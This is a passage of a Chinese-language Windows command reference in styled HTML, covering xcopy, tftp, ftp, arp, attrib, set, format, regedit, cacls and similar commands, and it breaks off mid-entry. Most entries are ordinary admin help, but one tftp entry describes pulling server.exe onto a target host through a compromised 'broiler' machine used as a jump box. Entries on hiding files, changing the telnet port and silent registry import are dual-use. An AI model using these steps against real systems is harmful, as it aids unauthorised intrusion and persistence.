<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">xcopy </span><span style="color: black;"><span style="">要复制的文件或目录树</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">目标地址</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/</span><span style="color: black;"><span style="">目录名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">复制文件和目录树，用参数</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/Y</span><span style="color: black;"><span style="">将不提示覆盖相同文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">tftp -i </span><span style="color: black;"><span style="">自己</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP(</span><span style="color: black;"><span style="">用肉机作跳板时这用肉机</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP) get server.exe c:/server.exe </span><span style="color: black;"><span style="">登陆后，将</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“IP”</span><span style="color: black;"><span style="">的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">server.exe</span><span style="color: black;"><span style="">下载到目标主机</span></span><span style="font-family: Arial; color: black;" lang="EN-US">c:/server.exe </span><span style="color: black;"><span style="">参数：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">-i</span><span style="color: black;"><span style="">指以二进制模式传送，如传送</span></span><span style="font-family: Arial; color: black;" lang="EN-US">exe</span><span style="color: black;"><span style="">文件时用，如不加</span></span><span style="font-family: Arial; color: black;" lang="EN-US">-i </span><span style="color: black;"><span style="">则以</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ASCII</span><span style="color: black;"><span style="">模式（传送文本文件模式）进行传送</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">tftp -i </span><span style="color: black;"><span style="">对方</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP put c:/server.exe </span><span style="color: black;"><span style="">登陆后，上传本地</span></span><span style="font-family: Arial; color: black;" lang="EN-US">c:/server.exe</span><span style="color: black;"><span style="">至主机</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">ftp ip </span><span style="color: black;"><span style="">端口</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">用于上传文件至服务器或进行文件操作，默认端口为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">21</span><span style="color: black;"><span style="">。</span></span><span style="font-family: Arial; color: black;" lang="EN-US">bin</span><span style="color: black;"><span style="">指用二进制方式传送（可执行文件进）；默认为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ASCII</span><span style="color: black;"><span style="">格式传送</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(</span><span style="color: black;"><span style="">文本文件时</span></span><span style="font-family: Arial; color: black;" lang="EN-US">) </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">route print </span><span style="color: black;"><span style="">显示出</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP</span><span style="color: black;"><span style="">路由，将主要显示网络地址</span></span><span style="font-family: Arial; color: black;" lang="EN-US">Network addres</span><span style="color: black;"><span style="">，子网掩码</span></span><span style="font-family: Arial; color: black;" lang="EN-US">Netmask</span><span style="color: black;"><span style="">，网关地址</span></span><span style="font-family: Arial; color: black;" lang="EN-US">Gateway addres</span><span style="color: black;"><span style="">，接口地址</span></span><span style="font-family: Arial; color: black;" lang="EN-US">Interface </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">arp </span><span style="color: black;"><span style="">查看和处理</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ARP</span><span style="color: black;"><span style="">缓存，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ARP</span><span style="color: black;"><span style="">是名字解析的意思，负责把一个</span></span><span style="font-family: Arial; color: black;" lang="EN-US">IP</span><span style="color: black;"><span style="">解析成一个物理性的</span></span><span style="font-family: Arial; color: black;" lang="EN-US">MAC</span><span style="color: black;"><span style="">地址。</span></span><span style="font-family: Arial; color: black;" lang="EN-US">arp -a</span><span style="color: black;"><span style="">将显示出全部信息</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">start </span><span style="color: black;"><span style="">程序名或命令</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> /max </span><span style="color: black;"><span style="">或</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/min </span><span style="color: black;"><span style="">新开一个新窗口并最大化（最小化）运行某程序或命令</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">mem </span><span style="color: black;"><span style="">查看</span></span><span style="font-family: Arial; color: black;" lang="EN-US">cpu</span><span style="color: black;"><span style="">使用情况</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">attrib </span><span style="color: black;"><span style="">文件名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(</span><span style="color: black;"><span style="">目录名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">) </span><span style="color: black;"><span style="">查看某文件（目录）的属性</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">attrib </span><span style="color: black;"><span style="">文件名</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> -A -R -S -H </span><span style="color: black;"><span style="">或</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> +A +R +S +H </span><span style="color: black;"><span style="">去掉</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(</span><span style="color: black;"><span style="">添加</span></span><span style="font-family: Arial; color: black;" lang="EN-US">)</span><span style="color: black;"><span style="">某文件的</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">存档，只读，系统，隐藏</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">属性；用＋则是添加为某属性</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">dir </span><span style="color: black;"><span style="">查看文件，参数：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/Q</span><span style="color: black;"><span style="">显示文件及目录属系统哪个用户，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/T:C</span><span style="color: black;"><span style="">显示文件创建时间，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/T:A</span><span style="color: black;"><span style="">显示文件上次被访问时间，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/T:W</span><span style="color: black;"><span style="">上次被修改时间</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">date /t </span><span style="color: black;"><span style="">、</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> time /t </span><span style="color: black;"><span style="">使用此参数即</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“DATE/T”</span><span style="color: black;"><span style="">、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“TIME/T”</span><span style="color: black;"><span style="">将只显示当前日期和时间，而不必输入新日期和时间</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">set </span><span style="color: black;"><span style="">指定环境变量名称</span></span><span style="font-family: Arial; color: black;" lang="EN-US">=</span><span style="color: black;"><span style="">要指派给变量的字符</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">设置环境变量</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">set </span><span style="color: black;"><span style="">显示当前所有的环境变量</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">set p(</span><span style="color: black;"><span style="">或其它字符</span></span><span style="font-family: Arial; color: black;" lang="EN-US">) </span><span style="color: black;"><span style="">显示出当前以字符</span></span><span style="font-family: Arial; color: black;" lang="EN-US">p(</span><span style="color: black;"><span style="">或其它字符</span></span><span style="font-family: Arial; color: black;" lang="EN-US">)</span><span style="color: black;"><span style="">开头的所有环境变量</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">pause </span><span style="color: black;"><span style="">暂停批处理程序，并显示出：请按任意键继续</span></span><span style="font-family: Arial; color: black;" lang="EN-US">.... </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">if </span><span style="color: black;"><span style="">在批处理程序中执行条件处理（更多说明见</span></span><span style="font-family: Arial; color: black;" lang="EN-US">if</span><span style="color: black;"><span style="">命令及变量）</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">goto </span><span style="color: black;"><span style="">标签</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">将</span></span><span style="font-family: Arial; color: black;" lang="EN-US">cmd.exe</span><span style="color: black;"><span style="">导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">“</span><span style="color: black;"><span style="">：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">start”</span><span style="color: black;"><span style="">标签）</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">call </span><span style="color: black;"><span style="">路径</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/</span><span style="color: black;"><span style="">批处理文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">从批处理程序中调用另一个批处理程序</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">（更多说明见</span></span><span style="font-family: Arial; color: black;" lang="EN-US">call /?</span><span style="color: black;"><span style="">）</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">for </span><span style="color: black;"><span style="">对一组文件中的每一个文件执行某个特定命令（更多说明见</span></span><span style="font-family: Arial; color: black;" lang="EN-US">for</span><span style="color: black;"><span style="">命令及变量）</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">echo on</span><span style="color: black;"><span style="">或</span></span><span style="font-family: Arial; color: black;" lang="EN-US">off </span><span style="color: black;"><span style="">打开或关闭</span></span><span style="font-family: Arial; color: black;" lang="EN-US">echo</span><span style="color: black;"><span style="">，仅用</span></span><span style="font-family: Arial; color: black;" lang="EN-US">echo</span><span style="color: black;"><span style="">不加参数则显示当前</span></span><span style="font-family: Arial; color: black;" lang="EN-US">echo</span><span style="color: black;"><span style="">设置</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">echo </span><span style="color: black;"><span style="">信息</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">在屏幕上显示出信息</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">echo </span><span style="color: black;"><span style="">信息</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> >> pass.txt </span><span style="color: black;"><span style="">将</span></span><span style="font-family: Arial; color: black;" lang="EN-US">"</span><span style="color: black;"><span style="">信息</span></span><span style="font-family: Arial; color: black;" lang="EN-US">"</span><span style="color: black;"><span style="">保存到</span></span><span style="font-family: Arial; color: black;" lang="EN-US">pass.txt</span><span style="color: black;"><span style="">文件中</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">findstr "Hello" aa.txt </span><span style="color: black;"><span style="">在</span></span><span style="font-family: Arial; color: black;" lang="EN-US">aa.txt</span><span style="color: black;"><span style="">文件中寻找字符串</span></span><span style="font-family: Arial; color: black;" lang="EN-US">hello </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">find </span><span style="color: black;"><span style="">文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">查找某文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">title </span><span style="color: black;"><span style="">标题名字</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">更改</span></span><span style="font-family: Arial; color: black;" lang="EN-US">CMD</span><span style="color: black;"><span style="">窗口标题名字</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">color </span><span style="color: black;"><span style="">颜色值</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">设置</span></span><span style="font-family: Arial; color: black;" lang="EN-US">cmd</span><span style="color: black;"><span style="">控制台前景和背景颜色；</span></span><span style="font-family: Arial; color: black;" lang="EN-US">0</span><span style="color: black;"><span style="">＝黑、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">1</span><span style="color: black;"><span style="">＝蓝、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">2</span><span style="color: black;"><span style="">＝绿、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">3</span><span style="color: black;"><span style="">＝浅绿、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">4</span><span style="color: black;"><span style="">＝红、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">5</span><span style="color: black;"><span style="">＝紫、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">6</span><span style="color: black;"><span style="">＝黄、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">7=</span><span style="color: black;"><span style="">白、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">8=</span><span style="color: black;"><span style="">灰、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">9=</span><span style="color: black;"><span style="">淡蓝、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">A</span><span style="color: black;"><span style="">＝淡绿、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">B=</span><span style="color: black;"><span style="">淡浅绿、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">C=</span><span style="color: black;"><span style="">淡红、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">D=</span><span style="color: black;"><span style="">淡紫、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">E=</span><span style="color: black;"><span style="">淡黄、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">F=</span><span style="color: black;"><span style="">亮白</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">prompt </span><span style="color: black;"><span style="">名称</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">更改</span></span><span style="font-family: Arial; color: black;" lang="EN-US">cmd.exe</span><span style="color: black;"><span style="">的显示的命令提示符</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(</span><span style="color: black;"><span style="">把</span></span><span style="font-family: Arial; color: black;" lang="EN-US">C:/</span><span style="color: black;"><span style="">、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">D:/</span><span style="color: black;"><span style="">统一改为：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">EntSky/ )</span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style=""><span style="font-size: small;"><span style="color: black;">（三）</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-family: Arial; color: black;" lang="EN-US"><span style="font-size: small;"></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">ver </span><span style="color: black;"><span style="">在</span></span><span style="font-family: Arial; color: black;" lang="EN-US">DOS</span><span style="color: black;"><span style="">窗口下显示版本信息</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">winver </span><span style="color: black;"><span style="">弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">format </span><span style="color: black;"><span style="">盘符</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> /FS:</span><span style="color: black;"><span style="">类型</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">格式化磁盘</span></span><span style="font-family: Arial; color: black;" lang="EN-US">,</span><span style="color: black;"><span style="">类型</span></span><span style="font-family: Arial; color: black;" lang="EN-US">:FAT</span><span style="color: black;"><span style="">、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">FAT32</span><span style="color: black;"><span style="">、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">NTFS ,</span><span style="color: black;"><span style="">例：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">Format D: /FS:NTFS </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">md </span><span style="color: black;"><span style="">目录名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">创建目录</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">replace </span><span style="color: black;"><span style="">源文件</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">要替换文件的目录</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">替换文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">ren </span><span style="color: black;"><span style="">原文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">新文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">重命名文件名</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">tree </span><span style="color: black;"><span style="">以树形结构显示出目录，用参数</span></span><span style="font-family: Arial; color: black;" lang="EN-US">-f </span><span style="color: black;"><span style="">将列出第个文件夹中文件名称</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">type </span><span style="color: black;"><span style="">文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">显示文本文件的内容</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">more </span><span style="color: black;"><span style="">文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">逐屏显示输出文件</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">doskey </span><span style=""><span style="color: black;">要锁定的命令＝字符</span></span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">doskey </span><span style="color: black;"><span style="">要解锁命令</span></span><span style="font-family: Arial; color: black;" lang="EN-US">= </span><span style="color: black;"><span style="">为</span></span><span style="font-family: Arial; color: black;" lang="EN-US">DOS</span><span style="color: black;"><span style="">提供的锁定命令</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(</span><span style="color: black;"><span style="">编辑命令行，重新调用</span></span><span style="font-family: Arial; color: black;" lang="EN-US">win2k</span><span style="color: black;"><span style="">命令，并创建宏</span></span><span style="font-family: Arial; color: black;" lang="EN-US">)</span><span style="color: black;"><span style="">。如：锁定</span></span><span style="font-family: Arial; color: black;" lang="EN-US">dir</span><span style="color: black;"><span style="">命令：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">doskey dir=entsky (</span><span style="color: black;"><span style="">不能用</span></span><span style="font-family: Arial; color: black;" lang="EN-US">doskey dir=dir)</span><span style="color: black;"><span style="">；解锁：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">doskey dir= </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">taskmgr </span><span style="color: black;"><span style="">调出任务管理器</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">chkdsk /F D: </span><span style="color: black;"><span style="">检查磁盘</span></span><span style="font-family: Arial; color: black;" lang="EN-US">D</span><span style="color: black;"><span style="">并显示状态报告；加参数</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/f</span><span style="color: black;"><span style="">并修复磁盘上的错误</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">tlntadmn telnt</span><span style="color: black;"><span style="">服务</span></span><span style="font-family: Arial; color: black;" lang="EN-US">admn,</span><span style="color: black;"><span style="">键入</span></span><span style="font-family: Arial; color: black;" lang="EN-US">tlntadmn</span><span style="color: black;"><span style="">选择</span></span><span style="font-family: Arial; color: black;" lang="EN-US">3</span><span style="color: black;"><span style="">，再选择</span></span><span style="font-family: Arial; color: black;" lang="EN-US">8,</span><span style="color: black;"><span style="">就可以更改</span></span><span style="font-family: Arial; color: black;" lang="EN-US">telnet</span><span style="color: black;"><span style="">服务默认端口</span></span><span style="font-family: Arial; color: black;" lang="EN-US">23</span><span style="color: black;"><span style="">为其它任何端口</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">exit </span><span style="color: black;"><span style="">退出</span></span><span style="font-family: Arial; color: black;" lang="EN-US">cmd.exe</span><span style="color: black;"><span style="">程序或目前，用参数</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/B</span><span style="color: black;"><span style="">则是退出当前批处理脚本而不是</span></span><span style="font-family: Arial; color: black;" lang="EN-US">cmd.exe </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">path </span><span style="color: black;"><span style="">路径</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/</span><span style="color: black;"><span style="">可执行文件的文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">为可执行文件设置一个路径。</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">cmd </span><span style="color: black;"><span style="">启动一个</span></span><span style="font-family: Arial; color: black;" lang="EN-US">win2K</span><span style="color: black;"><span style="">命令解释窗口。参数：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/eff</span><span style="color: black;"><span style="">、</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/en </span><span style="color: black;"><span style="">关闭、开启命令扩展；更我详细说明见</span></span><span style="font-family: Arial; color: black;" lang="EN-US">cmd /? </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">regedit /s </span><span style="color: black;"><span style="">注册表文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">导入注册表；参数</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/S</span><span style="color: black;"><span style="">指安静模式导入，无任何提示；</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">regedit /e </span><span style="color: black;"><span style="">注册表文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">导出注册表</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> </span></span></pre>
<pre style="line-height: 16.5pt; margin-bottom: 7.5pt;"><span style="font-size: small;"><span style="font-family: Arial; color: black;" lang="EN-US">cacls </span><span style="color: black;"><span style="">文件名</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">参数</span></span><span style="font-family: Arial; color: black;"> </span><span style="color: black;"><span style="">显示或修改文件访问控制列表（</span></span><span style="font-family: Arial; color: black;" lang="EN-US">ACL</span><span style="color: black;"><span style="">）</span></span><span style="font-family: Arial; color: black;" lang="EN-US">——</span><span style="color: black;"><span style="">针对</span></span><span style="font-family: Arial; color: black;" lang="EN-US">NTFS</span><span style="color: black;"><span style="">格式时。参数：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/D </span><span style="color: black;"><span style="">用户名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">:</span><span style="color: black;"><span style="">设定拒绝某用户访问；</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/P </span><span style="color: black;"><span style="">用户名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">:perm </span><span style="color: black;"><span style="">替换指定用户的访问权限；</span></span><span style="font-family: Arial; color: black;" lang="EN-US">/G </span><span style="color: black;"><span style="">用户名</span></span><span style="font-family: Arial; color: black;" lang="EN-US">:perm </span><span style="color: black;"><span style="">赋予指定用户访问权限；</span></span><span style="font-family: Arial; color: black;" lang="EN-US">Perm </span><span style="color: black;"><span style="">可以是</span></span><span style="font-family: Arial; color: black;" lang="EN-US">: N </span><span style="color: black;"><span style="">无，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">R </span><span style="color: black;"><span style="">读取，</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> W </span><span style="color: black;"><span style="">写入，</span></span><span style="font-family: Arial; color: black;" lang="EN-US"> C </span><span style="color: black;"><span style="">更改</span></span><span style="font-family: Arial; color: black;" lang="EN-US">(</span><span style="color: black;"><span style="">写入</span></span><span style="font-family: Arial; color: black;" lang="EN-US">)</span><span style="color: black;"><span style="">，</span></span><span style="font-family: Arial; color: black;" lang="EN-US">F </span><span style="color: black;"><span style="">完全控制；例：</span></span><span style="font-family: Arial; color: black;" lang="EN-US">cacls D:/test.txt /D pub </span><span style="color: black;"><span style="">设定</span></span><span style="font-family: Arial; color: black;" lang="EN-US">d:/test.txt</span><span style="color: black;"><span style="">拒绝</span></span><span style="font-family: Arial; color: black;" lang="EN-US">pub</span><span style="color: black;"><span 